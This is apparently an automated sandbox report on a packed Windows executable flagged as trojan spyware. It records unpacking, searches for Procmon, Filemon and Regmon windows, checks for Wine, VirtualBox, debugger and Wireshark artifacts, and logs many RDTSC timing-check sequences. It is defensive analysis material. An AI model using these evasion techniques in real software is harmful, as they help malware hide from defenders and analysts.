Source: mBr65h6L4w.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: mBr65h6L4w.exeStatic PE information: Section: jbmcqnop ZLIB complexity 0.994540582337884
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@8/2
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_0099255D
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009929FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_009929FF
Source: C:\Users\user\Desktop\mBr65h6L4w.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\mBr65h6L4w.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: mBr65h6L4w.exeReversingLabs: Detection: 34%
Source: mBr65h6L4w.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: mBr65h6L4w.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSection loaded: kernel.appcore.dllJump to behavior
Source: mBr65h6L4w.exeStatic file information: File size 4472320 > 1048576
Source: mBr65h6L4w.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x288a00
Source: mBr65h6L4w.exeStatic PE information: Raw size of jbmcqnop is bigger than: 0x100000 < 0x1b7800

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\mBr65h6L4w.exeUnpacked PE file: 1.2.mBr65h6L4w.exe.990000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jbmcqnop:EW;sxtwdxzr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jbmcqnop:EW;sxtwdxzr:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: mBr65h6L4w.exeStatic PE information: real checksum: 0x446ba9 should be: 0x449cb0
Source: mBr65h6L4w.exeStatic PE information: section name:
Source: mBr65h6L4w.exeStatic PE information: section name: .idata
Source: mBr65h6L4w.exeStatic PE information: section name:
Source: mBr65h6L4w.exeStatic PE information: section name: jbmcqnop
Source: mBr65h6L4w.exeStatic PE information: section name: sxtwdxzr
Source: mBr65h6L4w.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CB55CF push ebp; retf 1_3_01CB55D6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBEDCD pushfd ; retf 1_3_01CBEDCE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBEDCD pushfd ; retf 1_3_01CBEDCE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CB55DD push ebp; retf 1_3_01CB55EE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC25ED pushfd ; retf 1_3_01CC25EE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC25ED pushfd ; retf 1_3_01CC25EE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC25ED pushfd ; retf 1_3_01CC25EE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CB51F9 push edx; retf 1_3_01CB51FE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBEDB8 pushfd ; retf 1_3_01CBEDBA
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBEDB8 pushfd ; retf 1_3_01CBEDBA
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC29B0 pushfd ; retf 1_3_01CC29C6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC29B0 pushfd ; retf 1_3_01CC29C6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC29B0 pushfd ; retf 1_3_01CC29C6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC95B3 push edx; retf 0001h1_3_01CC95B6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC95B3 push edx; retf 0001h1_3_01CC95B6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC95B3 push edx; retf 0001h1_3_01CC95B6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC954A push ebx; retf 0001h1_3_01CC9556
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC954A push ebx; retf 0001h1_3_01CC9556
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC954A push ebx; retf 0001h1_3_01CC9556
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D58 pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D58 pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D58 pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBF955 pushfd ; retf 1_3_01CBF956
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBF955 pushfd ; retf 1_3_01CBF956
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CBF955 pushfd ; retf 1_3_01CBF956
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retn 0004h1_3_01CC4D4A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retn 0004h1_3_01CC4D4A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retf 0004h1_3_01CC4D0A
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4D0D pushfd ; retn 0004h1_3_01CC4D4A
Source: mBr65h6L4w.exeStatic PE information: section name: jbmcqnop entropy: 7.955312856107021

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeWindow searched: window name: RegmonclassJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: PROCMON.EXE
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: X64DBG.EXE
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WINDBG.EXE
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E9688 second address: 11E968E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E9954 second address: 11E9958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E9C4A second address: 11E9C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8C1CD203FCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E9C5C second address: 11E9C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EBE45 second address: 11EBE4B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EBE4B second address: 11EBE51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EBE51 second address: 11EBE55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EBFBA second address: 11EBFF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jp 00007F8C1CD63238h 0x00000010 pop edi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007F8C1CD6323Dh 0x0000001b pushad 0x0000001c jc 00007F8C1CD63236h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EC152 second address: 11EC19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 jmp 00007F8C1CD20408h 0x0000000c push 00000003h 0x0000000e mov di, cx 0x00000011 push 00000000h 0x00000013 call 00007F8C1CD203FDh 0x00000018 pop edx 0x00000019 push 00000003h 0x0000001b jc 00007F8C1CD203F8h 0x00000021 push 6C2E43D7h 0x00000026 pushad 0x00000027 jnl 00007F8C1CD203FCh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11EC2F8 second address: 11EC2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11DA207 second address: 11DA20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11DA20D second address: 11DA212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11DA212 second address: 11DA217 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120A9B6 second address: 120A9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD63242h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120A9D1 second address: 120A9EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD20407h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AB8A second address: 120AB9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE19 second address: 120AE35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C1CD20404h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE35 second address: 120AE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE3B second address: 120AE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE3F second address: 120AE64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C1CD63249h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE64 second address: 120AE6E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8C1CD203F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE6E second address: 120AE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120AE74 second address: 120AE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8C1CD203F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B3A1 second address: 120B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F8C1CD6323Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B4F8 second address: 120B53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8C1CD20406h 0x0000000a jmp 00007F8C1CD203FFh 0x0000000f pushad 0x00000010 jmp 00007F8C1CD20407h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B53E second address: 120B559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 js 00007F8C1CD6323Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B6C5 second address: 120B6C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B6C9 second address: 120B6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD63246h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B6E5 second address: 120B6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD20405h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120B6FE second address: 120B702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120BA14 second address: 120BA1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120BA1A second address: 120BA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F8C1CD63236h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120BA28 second address: 120BA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C0D2 second address: 120C0D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C233 second address: 120C238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C238 second address: 120C251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C251 second address: 120C255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C255 second address: 120C25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C396 second address: 120C3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD203FDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C520 second address: 120C524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C7D8 second address: 120C7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C7DC second address: 120C7E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C7E0 second address: 120C7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8C1CD203F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C7EC second address: 120C809 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C1CD6324Fh 0x00000008 jmp 00007F8C1CD63243h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C809 second address: 120C811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 120C811 second address: 120C817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11D36C8 second address: 11D36CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11D36CC second address: 11D36D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121415E second address: 1214185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c jo 00007F8C1CD203FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12188A1 second address: 12188A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12188A5 second address: 12188A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12188A9 second address: 12188D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD63241h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 je 00007F8C1CD6324Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F8C1CD63236h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12188D3 second address: 12188D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E44F6 second address: 11E4512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8C1CD63243h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11E4512 second address: 11E4523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD203FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217D6F second address: 1217D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
